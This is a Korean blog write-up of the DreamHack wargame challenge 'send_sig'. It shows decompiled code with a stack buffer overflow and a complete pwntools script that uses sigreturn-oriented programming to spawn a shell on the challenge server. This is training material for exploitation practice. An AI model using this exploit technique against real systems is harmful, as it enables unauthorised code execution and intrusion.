Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage5_문제풀이(send_sig) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage5_문제풀이(send_sig)

CIDY 2022. 7. 14. 08:02

C코드를 안 줬다..

 

void __noreturn start()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
  write(1, "+ You can send a signal to dreamhack server.           +\n", 0x39uLL);
  write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
  sub_4010B6();
  exit(0);
}

 

아이다로 까 보니 이렇게 생겼다. 일단 서브함수부터 까 보자.

 

ssize_t sub_4010B6()
{
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  write(1, "Signal:", 7uLL);
  return read(0, buf, 0x400uLL);
}

 

이게 전부이다. 간단하긴 하네... 그냥 SigreturnFrame클래스를 잘 써주면 될 듯 하다.

 

from pwn import *

context.arch = "x86_64"

p = remote("host3.dreamhack.games", 14452)
#p = process("./send_sig")

pop_rax = 0x4010ae
syscall = 0x4010b0
binsh = 0x402000

frame = SigreturnFrame()

frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pay = b"A" * 0x8
pay += b"B" * 0x8
pay += p64(pop_rax)
pay += p64(15)
pay += p64(syscall)
pay += bytes(frame)

p.recvuntil(b":")
p.send(pay)

p.interactive()

 

binsh가 코드쪽인것 같은데 암튼 find하니까 나와서 (주소안변하는 영역) 쉽게 할 수 있었다.

 

 

다 풀어놓고 cat flag가 아니고 cat flag.txt여서 좀 헤맸다 ㅡㅡ 문제 설명 잘 읽자